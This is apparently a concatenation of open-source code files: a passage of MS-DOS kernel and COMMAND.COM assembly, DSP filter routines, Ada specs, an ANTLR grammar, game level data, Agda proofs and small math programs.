DS ; DOS 3.3 7/9/86 ;hkn;CreatePDB would have a CS override. This is not valid. ;hkn;Must set up ds in order to acess CreatePDB. Also SS is ;hkn;has been assumed to be NOTHING. It may not have DOSDATA. getdseg <ds> ; ds -> dosdata cmp CreatePDB,0 ; Shall we create a process? JZ Create_PDB_cont ; nope, old style call ; ; Here we set up for a new process... ; ;hkn; PUSH CS ; Called at DOSINIT time, NO SS ;hkn; POP DS ;hkn; must set up DS to DOSDATA getdseg <ds> ; ds -> dosdata DOSAssume <DS>,"Create PDB" XOR BX,BX ; dup all jfns MOV CX,FilPerProc ; only 20 of them Create_dup_jfn: PUSH ES ; save new PDB invoke SFFromHandle ; get sf pointer MOV AL,-1 ; unassigned JFN JC CreateStash ; file was not really open TESTB ES:[DI].sf_flags,sf_no_inherit JNZ CreateStash ; if no-inherit bit is set, skip dup. ; ; We do not inherit network file handles. ; MOV AH,BYTE PTR ES:[DI].sf_mode AND AH,sharing_mask CMP AH,sharing_net_fcb jz CreateStash ; ; The handle we have found is duplicatable (and inheritable). Perform ; duplication operation. ; MOV WORD PTR [THISSFT],DI MOV WORD PTR [THISSFT+2],ES invoke DOS_DUP ; signal duplication ; ; get the old sfn for copy ; invoke pJFNFromHandle ; ES:DI is jfn MOV AL,ES:[DI] ; get sfn ; ; Take AL (old sfn or -1) and stash it into the new position ; CreateStash: POP ES MOV ES:[BX].PDB_JFN_Table,AL; copy into new place! INC BX ; next jfn... LOOP create_dup_jfn MOV BX,CurrentPDB ; get current process MOV ES:[PDB_Parent_PID],BX ; stash in child MOV [CurrentPDB],ES ASSUME DS:NOTHING MOV DS,BX ; ; end of new process create ; Create_PDB_cont: ;hkn; It comes to this point from 2 places. So, change to DOSDATA temporarily push ds getdseg <ds> ; ds -> dosdata MOV BYTE PTR [CreatePDB],0h ; reset flag pop ds POP AX entry SETMEM ASSUME DS:NOTHING,ES:NOTHING,SS:NOTHING ;--------------------------------------------------------------------------- ; Inputs: ; AX = Size of memory in paragraphs ; DX = Segment ; Function: ; Completely prepares a program base at the ; specified segment. ; Called at DOS init ; Outputs: ; DS = DX ; ES = DX ; [0] has INT int_abort ; [2] = First unavailable segment ; [5] to [9] form a long call to the entry point ; [10] to [13] have exit address (from int_terminate) ; [14] to [17] have ctrl-C exit address (from int_ctrl_c) ; [18] to [21] have fatal error address (from int_fatal_abort) ; DX,BP unchanged. All other registers destroyed. ;--------------------------------------------------------------------------- XOR CX,CX MOV DS,CX MOV ES,DX MOV SI,addr_int_terminate MOV DI,SAVEXIT MOV CX,6 REP MOVSW MOV ES:[2],AX SUB AX,DX CMP AX,MAXDIF JBE HAVDIF MOV AX,MAXDIF HAVDIF: SUB AX,10H ; Allow for 100h byte "stack" MOV BX,ENTRYPOINTSEG ; in .COM files SUB BX,AX MOV CL,4 SHL AX,CL MOV DS,DX ; ; The address in BX:AX will be F01D:FEF0 if there is 64K or more ; memory in the system. This is equivalent to 0:c0 if A20 is OFF. ; If DOS is in HMA this equivalence is no longer valid as A20 is ON. ; But the BIOS which now resides in FFFF:30 has 5 bytes in FFFF:D0 ; (F01D:FEF0) which is the same as the ones in 0:C0, thereby ; making this equvalnce valid for this particular case. If however ; there is less than 64K remaining the address in BX:AX will not ; be the same as above. We will then stuff 0:c0 , the call 5 address ; into the PSP. ; ; Therefore for the case where there is less than 64K remaining in ; the system old CPM Apps that look at PSP:6 to determine memory ; requirements will not work. Call 5, however will continue to work ; for all cases. ; MOV WORD PTR DS:[PDB_CPM_Call+1],AX MOV WORD PTR DS:[PDB_CPM_Call+3],BX cmp ax, WRAPOFFSET ; Q: does the system have >= 64k of ; memory left je addr_ok ; Y: the above calculated address is ; OK ; N: MOV WORD PTR DS:[PDB_CPM_Call+1],0c0h MOV WORD PTR DS:[PDB_CPM_Call+3],0 addr_ok: MOV DS:[PDB_Exit_Call],(int_abort SHL 8) + mi_INT MOV BYTE PTR DS:[PDB_CPM_Call],mi_Long_CALL MOV WORD PTR DS:[PDB_Call_System],(int_command SHL 8) + mi_INT MOV BYTE PTR DS:[PDB_Call_System+2],mi_Long_RET MOV WORD PTR DS:[PDB_JFN_Pointer],PDB_JFN_Table MOV WORD PTR DS:[PDB_JFN_Pointer+2],DS MOV WORD PTR DS:[PDB_JFN_Length],FilPerProc ; ; The server runs several PDB's without creating them VIA EXEC. We need to ; enumerate all PDB's at CPS time in order to find all references to a ; particular SFT. We perform this by requiring that the server link together ; for us all sub-PDB's that he creates. The requirement for us, now, is to ; initialize this pointer. ; MOV word ptr DS:[PDB_Next_PDB],-1 MOV word ptr DS:[PDB_Next_PDB+2],-1 ; Set the real version number in the PSP - 5.00 mov ES:[PDB_Version],(MINOR_VERSION SHL 8)+MAJOR_VERSION return EndProc $CREATE_PROCESS_DATA_BLOCK BREAK <$GSetMediaID -- get set media ID> ;--------------------------------------------------------------------------- ; Inputs: ; BL= drive number as defined in IOCTL (a=1;b=2..etc) ; AL= 0 get media ID ; 1 set media ID ; DS:DX= buffer containing information ; DW 0 info level (set on input) ; DD ? serial # ; DB 11 dup(?) volume id ; DB 8 dup(?) file system type ; Function: ; Get or set media ID ; Returns: ; carry clear, DS:DX is filled ; carry set, error ;--------------------------------------------------------------------------- procedure $GSetMediaID,NEAR ;AN000; or bl,bl jnz misvc push ds context DS mov bl,CurDrv ; bl = drive (0=a;1=b ..etc) pop DS inc bl misvc: dec bl ; bl = drive (0=a;1=b ..etc) HRDSVC SVC_DEMGSETMEDIAID return EndProc $GSetMediaID ;AN000; DOSCODE ENDS END
Delfino/SingleCore/SmartWinch/DCL/source/DCL_DF23_CLA.asm
vlad314/FYP_SmartWinch
0
170376
; DCL_DF23_CLA.asm - Direct Form 2 implementation in third order ; version 1.0, August 2015 ; C type definition: ; typedef volatile struct { ; float b0; // [0] b0 ; float b1; // [2] b1 ; float b2; // [4] b2 ; float b3; // [6] b3 ; float a1; // [8] a1 ; float a2; // [A] a2 ; float a3; // [C] a3 ; float x1; // [E] x1 ; float x2; // [10] x2 ; float x3; // [12] x3 ; } DF23; ; define C callable labels .def _DCL_runDF23c .def __cla_DCL_runDF23c_sp .def _DCL_runDF23ic .def _DCL_runDF23pc ;*** full controller *** ; C prototype: ; float DCL_runDF23c(DF23 *p, float ek); ; argument 1 = *p : 32-bit structure address [MAR0] ; argument 2 = ek : 32-bit floating-point [MR0] ; return = uk : 32-bit floating-point [MR0] SIZEOF_LFRAME .set 2 LFRAME_MR3 .set 0 .align 2 __cla_DCL_runDF23c_sp .usect ".scratchpad:Cla1Prog:_DCL_runDF23c", SIZEOF_LFRAME, 0, 1 .asg __cla_DCL_runDF23c_sp, LFRAME .sect "Cla1Prog:_DCL_runDF23c" _DCL_runDF23c: ; MDEBUGSTOP MMOV32 @LFRAME + LFRAME_MR3, MR3 ; save MR3 MNOP ; MAR0 load delay slot 2 MNOP ; MAR0 load delay slot 3 MMOV32 MR1, *MAR0[2]++ ; MR1 = b0 MMPYF32 MR2, MR1, MR0 ; MR2 = v1 || MMOV32 MR3, *MAR0[12]++ ; MR3 = b1 MMOV32 MR1, *MAR0[2]++ ; MR1 = x1 MADDF32 MR2, MR1, MR2 ; MR2 = uk MMPYF32 MR3, MR0, MR3 ; MR3 = v2 MMOV32 MR1, *MAR0[-8]++ ; MR1 = x2 MADDF32 MR3, MR1, MR3 ; MR3 = x2 + v2 || MMOV32 MR1, *MAR0[-4]++ ; MR1 = a1 MMPYF32 MR1, MR1, MR2 ; MR1 = v3 MNOP MSUBF32 MR3, MR3, MR1 ; MR3 = x1d MMOV32 MR1, *MAR0[10]++ ; MR1 = b2 MMOV32 *MAR0[4]++, MR3 ; save x1 MMPYF32 MR1, MR0, MR1 ; MR1 = v4 MMOV32 MR3, *MAR0[-8]++ ; MR3 = x3 MADDF32 MR3, MR1, MR3 ; MR3 = x3 + v4 || MMOV32 MR1, *MAR0[-4]++ ; MR1 = a2 MMPYF32 MR1, MR1, MR2 ; MR1 = v5 MNOP MSUBF32 MR3, MR3, MR1 ; MR3 = x2d MMOV32 MR1, *MAR0[10]++ ; MR1 = b3 MMOV32 *MAR0[-4]++, MR3 ; save x2 MMPYF32 MR1, MR0, MR1 ; MR1 = v6 || MMOV32 MR3, *MAR0[6]++ ; MR3 = a3 MMPYF32 MR3, MR2, MR3 ; MR3 = v7 MSUBF32 MR1, MR1, MR3 ; MR1 = x3d MRCNDD UNC ; return call MMOV32 MR0, MR2, UNC ; return uk MMOV32 MR3, @LFRAME + LFRAME_MR3 ; restore MR3 MMOV32 *MAR0[0]++, MR1 ; save x3 ;*** control law with pre-computation *** ; C prototype: ; float DCL_runDF23ic(DF23 *p, float ek); ; argument 1 = *p : controller structure address [MAR0] ; argument 2 = ek : controller input [MR0] ; return = uk : controller output [MR0] _DCL_runDF23ic: MNOP ; MAR0 load delay slot 1 MNOP ; MAR0 load delay slot 2 MNOP ; MAR0 load delay slot 3 MMOV32 MR2, *MAR0[14]++ ; MR2 = b0 MRCNDD UNC ; return call MMPYF32 MR1, MR0, MR2 ; MR1 = ek * b0 MMOV32 MR2, *MAR0[0]++ ; MR2 = x1 MADDF32 MR0, MR1, MR2 ; MR0 = uk ;*** partial controller when using pre-computation *** ; void DCL_runDF23pc(DF23 *p, float ek, float uk); ; argument 1 = *p : structure address [MAR0] ; argument 2 = ek : controller input [MR0] ; argument 3 = uk : u(k) controller output [MR1] ; return: void _DCL_runDF23pc: ; MDEBUGSTOP MMOV32 @LFRAME + LFRAME_MR3, MR3 ; save MR3 MNOP ; MAR0 load delay slot 2 MNOP ; MAR0 load delay slot 3 MMOV32 MR2, *MAR0[2]++ ; MR2 = b0 MMOV32 MR2, *MAR0[14]++ ; MR2 = b1 MMPYF32 MR2, MR0, MR2 ; MR2 = v2 MMOV32 MR3, *MAR0[-8]++ ; MR3 = x2 MADDF32 MR2, MR2, MR3 ; MR2 = x2 + v2 MMOV32 MR3, *MAR0[-4]++ ; MR3 = a1 MMPYF32 MR3, MR1, MR3 ; MR3 = v3 MNOP MSUBF32 MR2, MR2, MR3 ; MR2 = x1d MMOV32 MR3, *MAR0[10]++ ; MR3 = b2 MMOV32 *MAR0[4]++, MR2 ; save x1 MMPYF32 MR3, MR0, MR3 ; MR3 = v4 MMOV32 MR2, *MAR0[-8]++ ; MR2 = x3 MADDF32 MR2, MR2, MR3 ; MR2 = x3 + v4 MMOV32 MR3, *MAR0[-4]++ ; MR3 = a2 MMPYF32 MR3, MR1, MR3 ; MR3 = v5 MNOP MSUBF32 MR2, MR2, MR3 ; MR2 = x2d MMOV32 MR3, *MAR0[10]++ ; MR3 = b3 MMOV32 *MAR0[-4]++, MR2 ; save x2 MMPYF32 MR3, MR0, MR3 ; MR3 = v6 MMOV32 MR2, *MAR0[6]++ ; MR2 = a3 MMPYF32 MR2, MR1, MR2 ; MR2 = v7 MNOP MSUBF32 MR2, MR3, MR2 ; MR2 = x3d MRCNDD UNC ; return call MMOV32 *MAR0[0]++, MR2 ; save x3 MNOP MMOV32 MR3, @LFRAME + LFRAME_MR3 ; restore MR3 .unasg LFRAME ; end of file
1-base/math/source/precision/float/pure/float_math-algebra.ads
charlie5/lace
20
20397
with any_Math.any_Algebra; package float_Math.Algebra is new float_Math.any_Algebra; pragma Pure (float_Math.Algebra);
project/umer.g4
hmatalonga/ats-labs
0
1907
grammar umer; log : statement* ; statement : 'login' user=STRING pass=STRING | 'registar' stmt_register | 'solicitar' tuple | 'recusar' 'viagem' | 'viajar' | 'logout' ; stmt_register : 'condutor' reg_condutor | 'empresa' user=STRING pass=STRING | 'cliente' email=STRING user=STRING pass=STRING address=STRING birthday=date position=tuple ; reg_condutor : email=STRING user=STRING pass=STRING address=STRING birthday=date code=number | email=STRING user=STRING pass=STRING address=STRING birthday=date code=number service=STRING ; number : DIGIT + ; decimal : DIGIT + '.' DIGIT + ; tuple : '(' x=decimal ',' y=decimal ')' ; date : DIGIT DIGIT DIGIT DIGIT '-' DIGIT? DIGIT '-' DIGIT? DIGIT ; STRING : '"' ~ ["\r\n]* '"' ; DIGIT : [0-9] ; STMT_END : ';' -> skip ; WS : [ \t\r\n]+ -> skip ;
PRG/objects/6-F2.asm
narfman0/smb3_pp1
0
100872
<gh_stars>0 .byte $01 ; Unknown purpose .byte OBJ_BOO, $0E, $10 .byte OBJ_THWOMPLEFTSLIDE, $15, $15 .byte OBJ_THWOMPRIGHTSLIDE, $1C, $11 .byte OBJ_THWOMPLEFTSLIDE, $2F, $15 .byte OBJ_THWOMPRIGHTSLIDE, $34, $11 .byte OBJ_ROTODISCDUALCCLOCK, $48, $17 .byte OBJ_THWOMPRIGHTSLIDE, $4B, $11 .byte OBJ_ROTODISCDUALCCLOCK, $57, $13 .byte OBJ_BOO, $57, $16 .byte OBJ_THWOMPRIGHTSLIDE, $61, $15 .byte OBJ_THWOMPLEFTSLIDE, $77, $18 .byte $FF ; Terminator
Irvine/Examples/ch08/32 bit/UsesTest.asm
alieonsido/ASM_TESTING
0
176942
; Testing the USES Operator (UsesTest.asm) ; This program demonstrates the USES operator with explicit ; stack parameters INCLUDE Irvine32.inc .code main PROC push 5 call MySub1 push 6 call MySub2 exit main ENDP ; One stack parameter, no USES clause. MySub PROC push ebp ; save base pointer mov ebp,esp ; base of stack frame push ecx push edx ; save EDX mov eax,[ebp+8] ; get the stack parameter pop edx ; restore saved registers pop ecx pop ebp ; restore base pointer ret 4 ; clean up the stack MySub ENDP ; USES without any stack parameters MySub1 PROC USES ecx edx ret MySub1 ENDP ; USES with one explicit stack parameter. MySub2 PROC USES ecx edx push ebp ; save base pointer mov ebp,esp ; base of stack frame mov eax,[ebp+16] ; get the stack parameter pop ebp ; restore base pointer ret 4 ; clean up the stack MySub2 ENDP END main
source/list.ads
bracke/Meaning
0
9120
-------------------------------------------------------------------------------- -- -- -- Copyright (C) 2004, RISC OS Ada Library (RASCAL) developers. -- -- -- -- This library is free software; you can redistribute it and/or -- -- modify it under the terms of the GNU Lesser General Public -- -- License as published by the Free Software Foundation; either -- -- version 2.1 of the License, or (at your option) any later version. -- -- -- -- This library is distributed in the hope that it will be useful, -- -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -- -- Lesser General Public License for more details. -- -- -- -- You should have received a copy of the GNU Lesser General Public -- -- License along with this library; if not, write to the Free Software -- -- Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA -- -- -- -------------------------------------------------------------------------------- -- @brief List types and methods. -- $Author$ -- $Date$ -- $Revision$ with HandlerList; use HandlerList; package List is type Position is private; type List is limited private; type ListPointer is access List; -- raised if no space left for a new node OutOfSpace : exception; -- raised if a Position is past the end PastEnd : exception; -- raised if a Position is before the begin PastBegin : exception; EmptyList : exception; -- -- Pre: L and X are defined -- Post: a node containing X is inserted -- at the front or rear of L, respectively -- procedure AddToRear (L : in out List; X : HandlerList.ListPointer); function First (L : List) return Position; -- -- Pre: L and P are defined; P designates a node in L -- Post: returns the value of the element at position P -- Raises: EmptyList if L is empty -- PastBegin if P points before the beginning of L -- PastEnd if P points beyond the end of L -- function Retrieve (L : in List; P : in Position) return HandlerList.ListPointer; -- -- Pre: L and P are defined; P designates a node in L -- Post: the node at position P of L is deleted -- Raises: EmptyList if L is empty -- PastBegin if P is NULL -- procedure Delete (L : in out List; P : Position); -- -- Pre: L and P are defined; P designates a node in L -- Post: P is advanced to designate the next node of L -- Raises: EmptyList if L is empty -- PastEnd if P points beyond the end of L -- procedure GoAhead (L : List; P : in out Position); -- -- Pre: L and P are defined; P designates a node in L -- Post: P is moved to designate the previous node of L -- Raises: EmptyList if L is empty -- PastBegin if P points beyond the end of L -- procedure GoBack (L : List; P : in out Position); function IsEmpty (L : List) return Boolean; function IsFirst (L : List; P : Position) return Boolean; function IsLast (L : List; P : Position) return Boolean; function IsPastEnd (L : List; P : Position) return Boolean; -- -- Pre: L and P are defined -- Post: return True iff the condition is met; False otherwise -- function IsPastBegin (L : List; P : Position) return Boolean; private type Node; type Position is access Node; type Node is record Info : HandlerList.Listpointer; Link : Position; end record; type List is record Head : Position; Tail : Position; end record; ------------------------------------------------------------------------ -- | Generic ADT for one-way linked lists -- | Author: <NAME>, The George Washington University -- | Last Modified: January 1996 ------------------------------------------------------------------------ end List;
oeis/033/A033968.asm
neoneye/loda-programs
11
1362
<gh_stars>10-100 ; A033968: Trajectory of 1 under map n->23n+1 if n odd, n->n/2 if n even ; Submitted by <NAME> ; 1,24,12,6,3,70,35,806,403,9270,4635,106606,53303,1225970,612985,14098656,7049328,3524664,1762332,881166,440583,10133410,5066705,116534216,58267108,29133554,14566777 add $0,1 mov $1,$0 bin $0,0 lpb $1 mov $2,$0 mod $2,2 add $3,1 sub $3,$2 mov $4,$0 lpb $2 mul $0,5 add $0,1 mul $0,9 sub $0,6 sub $2,1 lpe add $0,$4 add $3,1 lpb $3 div $0,2 sub $3,1 lpe sub $1,1 lpe mov $0,$4
src/Examples/DivergingContext.agda
metaborg/ts.agda
4
14096
<gh_stars>1-10 module Examples.DivergingContext where open import Prelude data TC : Set where tc-int : TC tc-bool : TC _tc≟_ : (a b : TC) → Dec (a ≡ b) tc-int tc≟ tc-int = yes refl tc-int tc≟ tc-bool = no (λ ()) tc-bool tc≟ tc-int = no (λ ()) tc-bool tc≟ tc-bool = yes refl open import Implicits.Oliveira.Types TC _tc≟_ open import Implicits.Oliveira.Terms TC _tc≟_ open import Implicits.Oliveira.Contexts TC _tc≟_ open import Implicits.Oliveira.WellTyped TC _tc≟_ open import Implicits.Oliveira.Substitutions TC _tc≟_ open import Implicits.Oliveira.Types.Unification TC _tc≟_ open import Implicits.Improved.Infinite.Resolution TC _tc≟_ open import Data.Maybe open import Data.List open import Coinduction open import Data.List.Any.Membership using (map-mono) open import Data.List.Any open Membership-≡ Int : ∀ {ν} → Type ν Int = simpl (tc tc-int) module Ex₁ where r : Type zero r = (∀' (((simpl (x →' x)) ⇒ (simpl (x →' (simpl (x →' x))))) ⇒ x)) where x = (simpl (tvar zero)) Δ : ICtx zero Δ = r ∷ [] -- Exploiting coinductive definition here to show that there is an infinite derivation -- of any type under the context Δ with the special characteristic that the context grows to -- infinity as well! -- -- This may not be immediately obvious, but it can be seen by exploring the first argument of 'p' -- in the recursive calls, denoting the growing context. -- Also note that the element added to the context won't ever match the goal. -- This is not proven here, but an argument for it is made in the form of ¬r↓goal p : ∀ Δ' a → Δ ⊆ Δ' → Δ' ⊢ᵣ simpl a p Δ' a f = r-simp (f (here refl)) (i-tabs (simpl a) (i-iabs (♯ r-iabs (p (new-r ∷ Δ') new-goal (λ x → there (f x)))) (i-simp a))) where new-r = simpl (simpl a →' simpl a) new-goal = (simpl a →' simpl (simpl a →' simpl a)) ¬r↓goal : ¬ (new-r ∷ Δ') ⊢ new-r ↓ new-goal ¬r↓goal ()
libsrc/_DEVELOPMENT/math/float/am9511/z80/am32__dtoa_base16.asm
ahjelm/z88dk
640
88130
<gh_stars>100-1000 ; ; Copyright (c) 2020 <NAME> ; ; This Source Code Form is subject to the terms of the Mozilla Public ; License, v. 2.0. If a copy of the MPL was not distributed with this ; file, You can obtain one at http://mozilla.org/MPL/2.0/. ; ; feilipu, August 2020 ; ;------------------------------------------------------------------------- SECTION code_clib SECTION code_fp_am9511 PUBLIC asm_am9511__dtoa_base16 .asm_am9511__dtoa_base16 ; enter : DEHL'= float x, x positive ; ; exit : HL'= mantissa * ; DE'= stack adjust ; C = max number of significant hex digits (6) ; D = base 2 exponent e ; ; uses : af, c, d, hl, bc', de', hl' exx pop bc sla e rl d ld a,d scf rr e push de ; push mantissa onto the stack push hl push bc ld hl,4 add hl,sp ; hl = mantissa * ld de,4 exx sub $7e ; subtract excess (bias - 1) ld d,a ; d = base 2 exponent ld c,6 ; max 6 hex digits ret
base/mvdm/dos/v86/cmd/command/tranmsg.asm
npocmaka/Windows-Server-2003
17
7779
<reponame>npocmaka/Windows-Server-2003<gh_stars>10-100 ;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ include version.inc ; ; Revision History ; ================ ; ; M016 SR 08/09/90 Added 2 error messages for LoadHigh ; ; ;**************************************************** ;* TRANSIENT MESSAGE POINTERS & SUBSTITUTION BLOCKS * ;**************************************************** msg_disp_class db Util_msg_class msg_cont_flag db No_cont_flag ; extended error string output ; Extend_Buf_ptr dw 0 ;AN000;set to no message Extend_Buf_sub db 0 ;AN000;set to no substitutions db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved Extend_Buf_off dw OFFSET TranGroup:String_ptr_2 ;AN000;offset of arg Extend_Buf_seg dw 0 ;AN000;segment of arg db 0 ;AN000;first subst db Char_field_ASCIIZ ;AN000;character string db 128 ;AN000;maximum width db 0 ;AN000;minimum width db blank ;AN000;pad character ; "Duplicate file name or file not found" ; Renerr_Ptr dw 1002 ;AN000;message number db no_subst ;AN000;number of subst ; "Invalid path or file name" ; BadCPMes_Ptr dw 1003 ;AN000;message number db no_subst ;AN000;number of subst ; "Insufficient disk space" ; NoSpace_Ptr dw 1004 ;AN000;message number db no_subst ;AN000;number of subst ; "Out of environment space" ; EnvErr_Ptr dw 1007 ;AN000;message number db no_subst ;AN000;number of subst ; "File creation error" ; FulDir_Ptr dw 1008 ;AN000;message number db no_subst ;AN000;number of subst ; "Batch file missing",13,10 ; BadBat_Ptr dw 1009 ;AN000;message number db no_subst ;AN000;number of subst ; "Insert disk with batch file",13,10 ; NeedBat_Ptr dw 1010 ;AN000;message number db no_subst ;AN000;number of subst ; "Bad command or file name",13,10 ; BadNam_Ptr dw 1011 ;AN000;message number db no_subst ;AN000;number of subst ; "Access denied",13,10 ; AccDen_Ptr dw 1014 ;AN000;message number db no_subst ;AN000;number of subst ; "File cannot be copied onto itself",13,10 ; OverWr_Ptr dw 1015 ;AN000;message number db no_subst ;AN000;number of subst ; "Content of destination lost before copy",13,10 ; LostErr_Ptr dw 1016 ;AN000;message number db no_subst ;AN000;number of subst ; "Invalid filename or file not found",13,10 ; InOrNot_Ptr dw 1017 ;AN000;message number db no_subst ;AN000;number of subst ; "%1 File(s) copied",13,10 ; Copied_Ptr dw 1018 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:Copy_num ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Right_Align+Unsgn_Bin_Word ;AN000;binary to decimal db 9 ;AN000;maximum width db 9 ;AN000;minimum width db blank ;AN000;pad character ; "%1 File(s) " ; DirMes_Ptr dw 1019 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:Dir_num ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Right_Align+Unsgn_Bin_Word ;AN000;binary to decimal db 9 ;AN000;maximum width db 9 ;AN000;minimum width db blank ;AN000;pad character ; "%1 bytes free",13,10 ; BytMes_Ptr dw 1020 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:Bytes_Free ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Right_Align+Unsgn_Bin_DWord ;AN000;long binary to decimal ifdef KOREA db 11 ; <MSCH> db 11 ; <MSCH> else db 28 ;AN000;maximum width db 28 ;AN000;minimum width endif ; KOREA db blank ;AN000;pad character ; "Invalid drive specification",13,10 ; BadDrv_Ptr dw 1021 ;AN000;message number db no_subst ;AN000;number of subst ; "Code page %1 not prepared for system",13,10 ; CP_not_set_Ptr dw 1022 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:System_cpage ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Right_Align+Unsgn_Bin_Word ;AN000;binary to decimal db 5 ;AN000;maximum width db 1 ;AN000;minimum width db blank ;AN000;pad character ; "Code page %1 not prepared for all devices",13,10 ; CP_not_all_Ptr dw 1023 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:System_cpage ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Right_Align+Unsgn_Bin_Word ;AN000;binary to decimal db 5 ;AN000;maximum width db 1 ;AN000;minimum width db blank ;AN000;pad character ; "Active code page: %1",13,10 ; CP_active_Ptr dw 1024 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:System_cpage ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Right_Align+Unsgn_Bin_Word ;AN000;binary to decimal db 5 ;AN000;maximum width db 1 ;AN000;minimum width db blank ;AN000;pad character ; "NLSFUNC not installed",13,10 ; NLSFUNC_Ptr dw 1025 ;AN000;message number db no_subst ;AN000;number of subst ; "Invalid code page",13,10 ; Inv_Code_Page dw 1026 ;AN000;message number db no_subst ;AN000;number of subst ; "Current drive is no longer valid" ; BadCurDrv dw 1027 ;AN000;message number db no_subst ;AN000;number of subst ; "Press any key to continue" ; PauseMes_Ptr dw 1028 ;AN000;message number db no_subst ;AN000;number of subst ; "Label not found",13,10 ; BadLab_Ptr dw 1029 ;AN000;message number db no_subst ;AN000;number of subst ; "Syntax error",13,10 ; SyntMes_Ptr dw 1030 ;AN000;message number db no_subst ;AN000;number of subst ; "Invalid date",13,10 ; BadDat_Ptr dw 1031 ;AN000;message number db no_subst ;AN000;number of subst ; "Current date is %1 %2",13,10 ; CurDat_Ptr dw 1032 ;AN000;message number db 2 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:Arg_Buf ;AN000;offset of arg dw 0 ;AN000;segment of arg IFNDEF DBCS ; MSKK03 07/14/89 db 1 ;AN000;first subst ELSE IFDEF JAPAN db 2 ;AN000;first subst ELSE db 1 ;AN000;first subst ENDIF ENDIF db Char_field_ASCIIZ ;AN000;character string IFNDEF DBCS db 3 ;AN000;maximum width db 3 ;AN000;minimum width ELSE IFDEF JAPAN ; MSKK02 07/14/89 db 4 ;AN000;maximum width db 4 ;AN000;minimum width ENDIF IFDEF TAIWAN db 6 ;AN000;maximum width db 6 ;AN000;minimum width ENDIF IFDEF KOREA db 2 ;3 Keyl ;AN000;maximum width db 2 ;3 Keyl ;AN000;minimum width ENDIF ENDIF db blank ;AN000;pad character db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved CurDat_yr dw 0 ;AN000;year CurDat_mo_day dw 0 ;AN000;month,day IFNDEF DBCS ; MSKK03 07/14/89 db 2 ;AN000;second subst ELSE IFDEF JAPAN db 1 ;AN000;second subst ELSE db 2 ;AN000;second subst ENDIF ENDIF db DATE_MDY_4 ;AN000;date db 10 ;AN000;maximum width db 10 ;AN000;minimum width db blank ;AN000;pad character ; "SunMonTueWedThuFriSat" ; WeekTab dw 1033 ;AN000;message number db no_subst ;AN000;number of subst ; "Enter new date (%1):" ; NewDat_Ptr dw 1034 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved NewDat_Format dw 0 ;AN000;offset of replacement dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Char_field_ASCIIZ ;AN000;character string db 8 ;AN000;maximum width db 8 ;AN000;minimum width db blank ;AN000;pad character ; "Invalid time",13,10 ; BadTim_Ptr dw 1035 ;AN000;message number db no_subst ;AN000;number of subst ; "Current time is %1",13,10 ; CurTim_Ptr dw 1036 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved CurTim_hr_min dw 0 ;AN000;hours,minutes CurTim_Sec_hn dw 0 ;AN000;seconds,hundredths db 1 ;AN000;first subst db Right_Align+TIME_HHMMSSHH_Cty ;AC059;time db 12 ;AC059;maximum width db 12 ;AC059;minimum width db blank ;AN000;pad character ; "Enter new time:" ; NewTim_Ptr dw 1037 ;AN000;message number db no_subst ;AN000;number of subst ; ", Delete (Y/N)?",13,10 ; Del_Y_N_Ptr dw 1038 ;AN000;message number db no_subst ;AN000;number of subst ; "All files in directory will be deleted!",13,10 ; "Are you sure (Y/N)?",13,10 ; SureMes_Ptr dw 1039 ;AN000;message number db no_subst ;AN000;number of subst ; "Microsoft DOS Version %1.%2",13,10 ; VerMes_Ptr dw 1040 ;AN000;message number db 2 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:Major_Ver_Num ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Right_Align+Unsgn_Bin_Word ;AN000;binary to decimal ifndef NEC_98 db 2 ;AN000;maximum width else ;NEC_98 db 1 ;AN000;maximum width endif ;NEC_98 db 1 ;AN000;minimum width db blank ;AN000;pad character db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:Minor_Ver_Num ;AN000;offset of arg dw 0 ;AN000;segment of arg db 2 ;AN000;second subst db Right_Align+Unsgn_Bin_Word ;AN000;binary to decimal db 2 ;AN000;maximum width db 2 ;AN000;minimum width db "0" ;AN000;pad character ; "Volume in drive %1 has no label",13,10 ; VolMes_Ptr_2 dw 1041 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:vol_drv ;AN000;offset of drive dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Char_field_Char ;AN000;character db 128 ;AN000;maximum width db 1 ;AN000;minimum width db blank ;AN000;pad character ; "Volume in drive %1 is %2",13,10 